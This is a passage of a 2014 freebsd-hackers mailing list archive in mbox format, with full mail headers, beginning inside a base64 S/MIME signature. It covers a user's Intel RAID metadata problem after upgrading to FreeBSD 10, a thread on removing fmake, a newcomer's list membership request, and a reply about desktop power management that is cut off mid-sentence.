d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDUwMjA5MTk1M1owIwYJKoZIhvcN AQkEMRYEFONo1sgiYVNKEqzzjf/Dh1xAECh2MIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEAg+9xwjjOkBxQWYQQbpTH KQX0/Y0rCM09/bQsyKPg3LaKPLAcUY7rau4rFw6b3jT06ISpJ5vvNS/gbnnkuyHWbQvGB+OlJUyf VavMHABBi1KpCBSQE55XBRyUPTyBCPm9B+qwTC21QapmWEeuFXrGFulJBeB+lIeJgzPvmRvBLjnH UGbIkweEKi57b6Sj+2uBpQaXX7mvti0EXPHyfTpJAFioiLC6433R5zGbM5pE38c4vliszNs/9Yw4 abjy7UZszeKejM8/FNx0wefBlGe14j/yiKseNmz+kd7Rjy7ch6GfJG/iAGZaKl9QNDBmpnIw7oiM SBfTM4YgIj/FWTCKMwAAAAAAAA== --Apple-Mail-FA519E35-DC6A-49B9-94E5-CF715392D453-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 11:41:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 31C58751 for ; Fri, 2 May 2014 11:41:32 +0000 (UTC) Received: from beau.schedom-europe.net (beau.schedom-europe.net [193.109.184.87]) by mx1.freebsd.org (Postfix) with SMTP id 926EA1CE0 for ; Fri, 2 May 2014 11:41:30 +0000 (UTC) Received: (qmail 28772 invoked by uid 507); 2 May 2014 13:34:48 +0200 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on beau.schedom-europe.net X-Spam-Level: *********** X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99, FH_DATE_PAST_20XX, RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5 Received: from ip-83-101-56-208.customer.schedom-europe.net (HELO webmail.malavon.com) (83.101.56.208) by beau.schedom-europe.net with SMTP; 2 May 2014 13:34:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Date: Fri, 02 May 2014 11:34:40 +0000 From: Benny Goemans To: freebsd-hackers@freebsd.org Subject: Re: Intel Matrix RAID metadata messed up by geom In-Reply-To: <2eaf47c4d979b94ae13d6a83c7169e73@webmail.malavon.com> References: <2eaf47c4d979b94ae13d6a83c7169e73@webmail.malavon.com> Message-ID: X-Sender: benny.goemans@belgacom.net User-Agent: Roundcube Webmail/1.0.0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 11:41:32 -0000 It seems I have sent this mail three times (according to the archives). My apologies, I hadn't correctly subscribed to this list the first time and didn't see them appear in the mailing list. Aside from that, anyone having any ideas about how I could fix this? Thanks, Benny Goemans Benny Goemans schreef op 2014-04-29 19:53: > (I originally sent this to the geom mailinglist, but I assume that > list isn't meant for user questions; I've also added some more info) > > Hi all, > > First some background: > > I'm running 2 rather big raid (well, software raid) arrays, one RAID 0 > and one RAID 5. Up to now this didn't pose much problems, aside from > the occasional rebuilding for which I needed to boot my fallback > windows OS. I was happy with this, but since I'm lagging behind this > much in version (8- will soon disappear) I assumed that I could at > least try upgrading to 10 and see what happens. So, I did: > > * used freebsd-update to get updates, merge and install > * rebooted into BSD 10 kernel > * I see messages from GEOM passing by, noticing my raid arrays > * I get warnings about read-only filesystems and I realise that geom > doesn't support writing to ICH RAID 5 arrays (which I read when I > wanted to upgrade to 9, but seemed to have forgotten) > > I figure, no harm done, I'll just boot a 8.4 disk and reinstall the > kernel. So I reboot ... only to find out that my drives show up as > INCOMPATIBLE in the ICH configuration utility. I'm assuming that GEOM > decided to overwrite critical metadata with a version that my > motherboard doesn't support. > I never ran any geom tools, never saw a warning in the boot which > would have prompted me to abort. It just did. > > So, I have two questions: > 1a) isn't this a bug? I'm assuming that GEOM shouldn't at least > overwrite metadata without allowing the user to abort, especially not > with a newer version that might not be supported anymore > 1b) does this also happen when booting the live cd? if it does, it > doesn't feel right > 2) is there anyone out there who can help me get this meta data back > to a version my mainboard supports? I really need this system up and > running again (as it's my main pc) without having to reinstall > everything, which would take ages. I do have backups of most critical > data, but I'd still like to have the non/less-critical data as well. > > Some extra info: > mainboard: Asus P5WDG 2 WS, with latest (official) 0805 bios > ICH: 5.1.2, ICH7R > > I can boot the system with a BSD 10 memdisk and access the data on the > BSD partitions, so it's not gone. For the ntfs partitions I'm still > looking for a solution, but as I said I'd rather get the system up and > running again than try to backup everything that I need and rebuild. > The risk that I'm forgetting something is simply too big. > > What I'm currently doing/trying: > * backing up as much as I can > * trying to find more information of the metadata written by geom or > the ICH, without much luck > ** I figure the changes won't be huge between what GEOM has written > and what the original data was; if I find a datasheet I might try to > fix it manually > * figuring out a way to restore the correct metadata without trying to > understand geom source code, as this is _way_ over my skill set; it > would likely take years for me to figure it out > * checking out unofficial bios'es for my mainboard that may or may not > have a more recent ICH on board; last resort only though as these may > put me off even worse (with no more access to these disks at all) > > > Kind regards, > Benny Goemans > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri May 2 23:14:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8D53963D for ; Fri, 2 May 2014 23:14:13 +0000 (UTC) Received: from mail-qa0-f44.google.com (mail-qa0-f44.google.com [209.85.216.44]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4D24D16EC for ; Fri, 2 May 2014 23:14:12 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id k15so5007278qaq.3 for ; Fri, 02 May 2014 16:14:06 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:in-reply-to:references:from :date:message-id:subject:to:cc:content-type; bh=VrVIyvGi1pSlw3Xd/eiaPC3vNA9+NMuwCMit5dcZHNc=; b=CeT+Ax7kleh+LjU0T+6qctcrQ5ryh/Pl1/fq+sK91/qQbZeoHhh+mcgLD3MvO3ewER MvBK5km1JBgOSHSM9j9zgovYN6OTyCu0/6kVgshUOVWcpd3wdxSNzha8JXl90lk0O9hn Y2/XUIbG2uZaxOp1Vt99RghG04/UxhWPVFYrtBBGLFDuUqtR36LP0rDWhEe8YBtnft9J evjjksp0pok7ekI0pL051BFARh0SyljMgfnFsy1p0OxrPVbEjAOTon40B3l+/KyhW+Wu 2m0IZQWFv2aGso7szD916YL1KBNemzwhlFOcxV+EmwjyvIviU/+sD4ROMx3CeuYqn9t3 uYSQ== X-Gm-Message-State: ALoCoQlwVTOS4pQO1HnCqkw15EQsmtTvXLxnV7awXNelieA8fcv79luHTxqfv+DkPeAXdkYN+e80 X-Received: by 10.224.35.209 with SMTP id q17mr26664659qad.9.1399072446672; Fri, 02 May 2014 16:14:06 -0700 (PDT) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.99 with HTTP; Fri, 2 May 2014 16:13:46 -0700 (PDT) X-Originating-IP: [12.130.117.129] In-Reply-To: <20140422214610.GC63561@ivaldir.etoilebsd.net> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> From: Julio Merino Date: Fri, 2 May 2014 16:13:46 -0700 X-Google-Sender-Auth: bABegwiqAP640lyElm5Su6kChQ0 Message-ID: Subject: Re: Can fmake be deleted? To: Baptiste Daroussin Content-Type: text/plain; charset=UTF-8 Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 May 2014 23:14:13 -0000 On Tue, Apr 22, 2014 at 2:46 PM, Baptiste Daroussin wrote: >> - Can fmake be removed from base even if ports hasn't yet dropped its >> support for fmake? > > Yes as right now we do support both So, given this and that there has been no comment otherwise for 10 days... I take it that I could remove fmake from the tree anytime soon. (Whether I have the time to do so or not is another story ;-) From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 04:32:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C9DD2F5 for ; Sat, 3 May 2014 04:32:42 +0000 (UTC) Received: from jerrymc.net (jerrymc.net [75.75.214.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C489211AF for ; Sat, 3 May 2014 04:32:41 +0000 (UTC) Received: from jerrymc.net (localhost [127.0.0.1]) by jerrymc.net (8.14.5/8.14.5) with ESMTP id s433ucrA001616; Fri, 2 May 2014 23:56:38 -0400 (EDT) (envelope-from jerrymc@jerrymc.net) Received: (from jerrymc@localhost) by jerrymc.net (8.14.5/8.14.5/Submit) id s433uc6c001615; Fri, 2 May 2014 23:56:38 -0400 (EDT) (envelope-from jerrymc) Date: Fri, 2 May 2014 23:56:38 -0400 From: Jerry McAllister To: Sitthykun LY Subject: Re: Membership Message-ID: <20140503035638.GA1571@jerrymc.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 04:32:42 -0000 On Fri, May 02, 2014 at 10:34:59AM +0700, Sitthykun LY wrote: Hi Sitthykun, > Dear folk, > > I am a programmer from Cambodia. > I would like to be member of this group > and have permission to discuss in the group. > > Please assign me if you can. > > Thanks and regards, > Sitthykun (Masako Kh) > _______________________________________________ Welcome. Just go to: http://www.freebsd.org/community/mailinglists.html and choose a list and sign up. The English language lists are in the FreeBSD Handbook at: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/eresources.html#ERESOURCES-MAIL Note the topic of each and its charter rules and guidelines for use and abide by them and people will happily welcome you. You might want to start with some general purpose lists such as freebsd-questions and freebsd-chat. Some of the lists are moderated and so someone must approve each message before it goes out to the list. And, if you post a lot of inappropriate messages to those, you will be removed from them. For people wanting to shout about things, there is the freebsd-advocacy list. One other thing, if you have a question about something, try looking it up in the FreeBSD Handbook and using Google and other web sites before posting a question on one of the lists. First, it will help you form a better question if you have more information and second, it will reduce the amount of annoyance other list members have when you post messages about things that are already well documented. Of you course, if you read the documentation and it doesn't make sense to you, feel free to ask about it and even to offer improvements and corrections to the documentation. ////jerry > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 06:12:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 773E8F31 for ; Sat, 3 May 2014 06:12:11 +0000 (UTC) Received: from mail-we0-x233.google.com (mail-we0-x233.google.com [IPv6:2a00:1450:400c:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 04D11189B for ; Sat, 3 May 2014 06:12:10 +0000 (UTC) Received: by mail-we0-f179.google.com with SMTP id q59so3024038wes.38 for ; Fri, 02 May 2014 23:12:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=htJuxoCvh/h3TDWOGMuWkbVfXWDUJwq4SEMiQZzUpxM=; b=ixyYO3CHG+Kzi7k6xex7NcvQPlAn0hHXPraLzyBmMeNLhW/SIYZi5PbJLC5uBJ1qDK ohODqwRUcCPvrjsSQH8fyvEFWUAQrZvIbnnbOaPFulDKkRgoLmMoFhnNSX4ishSHSsmA HmHle6CsPFXRoJj7/8I59v2h96goK16tHW7qXXc6H/i3oLdBmLX/s226IlGKiD+Hl25M OSkDvis8rl+VgzmD2V39f4MTFgHt70MyA3Ci7ukzlPjqumG5Nh+uqM931deL4LI4AzBp Fb95Pdpiz6qG/2BK3kECPmrlo7V02xtnm6nNhe2rqswsjUPHpDsRS5sFkAzwAq4RCoha RbDQ== X-Received: by 10.180.185.100 with SMTP id fb4mr6327213wic.11.1399097529152; Fri, 02 May 2014 23:12:09 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.174.2 with HTTP; Fri, 2 May 2014 23:11:49 -0700 (PDT) In-Reply-To: <20140503035638.GA1571@jerrymc.net> References: <20140503035638.GA1571@jerrymc.net> From: Sitthykun LY Date: Sat, 3 May 2014 13:11:49 +0700 Message-ID: Subject: Re: Membership To: Jerry McAllister Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 06:12:11 -0000 Hi Jerry :) On Sat, May 3, 2014 at 10:56 AM, Jerry McAllister wrote: > On Fri, May 02, 2014 at 10:34:59AM +0700, Sitthykun LY wrote: > > Hi Sitthykun, > > > Dear folk, > > > > I am a programmer from Cambodia. > > I would like to be member of this group > > and have permission to discuss in the group. > > > > Please assign me if you can. > > > > Thanks and regards, > > Sitthykun (Masako Kh) > > _______________________________________________ > > > Welcome. > Just go to: http://www.freebsd.org/community/mailinglists.html > and choose a list and sign up. > > The English language lists are in the FreeBSD Handbook at: > > > http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/eresources.html#ERESOURCES-MAIL > > Note the topic of each and its charter rules and guidelines for use > and abide by them and people will happily welcome you. > > You might want to start with some general purpose lists such > as freebsd-questions and freebsd-chat. > > Some of the lists are moderated and so someone must approve each > message before it goes out to the list. And, if you post a lot > of inappropriate messages to those, you will be removed from them. > > For people wanting to shout about things, there is the freebsd-advocacy > list. > > One other thing, if you have a question about something, try looking it > up in the FreeBSD Handbook and using Google and other web sites before > posting a question on one of the lists. First, it will help you form a > better question if you have more information and second, it will reduce > the amount of annoyance other list members have when you post messages > about things that are already well documented. Of you course, if you > read the documentation and it doesn't make sense to you, feel free to > ask about it and even to offer improvements and corrections to the > documentation. > > ////jerry > > > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > -- Sitthykun LY a little developer in the big world \o/ mobile: +85595 7788 39 skype: cityx9 twitter: sitthykun site: niyum.com From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 10:21:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B0A9A413; Sat, 3 May 2014 10:21:48 +0000 (UTC) Received: from mailrelay001.isp.belgacom.be (mailrelay001.isp.belgacom.be [195.238.6.51]) by mx1.freebsd.org (Postfix) with ESMTP id D04FF1CD1; Sat, 3 May 2014 10:21:47 +0000 (UTC) X-Belgacom-Dynamic: yes X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkGAMzCZFNR8aZZ/2dsb2JhbABYgwaBGsRjgQ4XdIIlAQEFOhwjEAsOCgklDyoeBhOIRQHKEBeOUgeEOgEDjTWLfYdiixODNjs Received: from 89.166-241-81.adsl-dyn.isp.belgacom.be (HELO kalimero.tijl.coosemans.org) ([81.241.166.89]) by relay.skynet.be with ESMTP; 03 May 2014 12:21:40 +0200 Received: from kalimero.tijl.coosemans.org (kalimero.tijl.coosemans.org [127.0.0.1]) by kalimero.tijl.coosemans.org (8.14.8/8.14.8) with ESMTP id s43ALduS001005; Sat, 3 May 2014 12:21:39 +0200 (CEST) (envelope-from tijl@FreeBSD.org) Date: Sat, 3 May 2014 12:21:38 +0200 From: Tijl Coosemans To: Julio Merino Subject: Re: Can fmake be deleted? Message-ID: <20140503122138.0b2a4b43@kalimero.tijl.coosemans.org> In-Reply-To: References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org, Baptiste Daroussin X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 10:21:48 -0000 On Fri, 2 May 2014 16:13:46 -0700 Julio Merino wrote: > On Tue, Apr 22, 2014 at 2:46 PM, Baptiste Daroussin wrote: >>> - Can fmake be removed from base even if ports hasn't yet dropped its >>> support for fmake? >> >> Yes as right now we do support both > > So, given this and that there has been no comment otherwise for 10 > days... I take it that I could remove fmake from the tree anytime > soon. (Whether I have the time to do so or not is another story ;-) Also, for those who might still need it there's devel/fmake. From owner-freebsd-hackers@FreeBSD.ORG Sat May 3 15:58:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C061F1FA; Sat, 3 May 2014 15:58:01 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7AB891919; Sat, 3 May 2014 15:58:00 +0000 (UTC) Received: from [188.174.54.34] (helo=localhost.my.domain) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WgcJy-0004u7-LC; Sat, 03 May 2014 17:57:50 +0200 Received: from localhost.my.domain (localhost [127.0.0.1]) by localhost.my.domain (8.14.7/8.14.3) with ESMTP id s43FvmKw002550; Sat, 3 May 2014 17:57:48 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by localhost.my.domain (8.14.7/8.14.3/Submit) id s43Fvkib002549; Sat, 3 May 2014 17:57:46 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: localhost.my.domain: guru set sender to guru@unixarea.de using -f Date: Sat, 3 May 2014 17:57:45 +0200 From: Matthias Apitz To: David Chisnall Subject: Re: Leaving the Desktop Market Message-ID: <20140503155745.GA2457@La-Habana> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> X-Operating-System: FreeBSD 9.0-CURRENT r214444 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 188.174.54.34 Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, Jordan Hubbard , freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Matthias Apitz List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 03 May 2014 15:58:01 -0000 El día Tuesday, April 01, 2014 a las 08:38:28AM +0100, David Chisnall escribió: > > Just a small note here: Improving power management is something that the Core Team and the Foundation have jointly identified as an important goal, in particular for mobile / embedded scenarios. We're currently 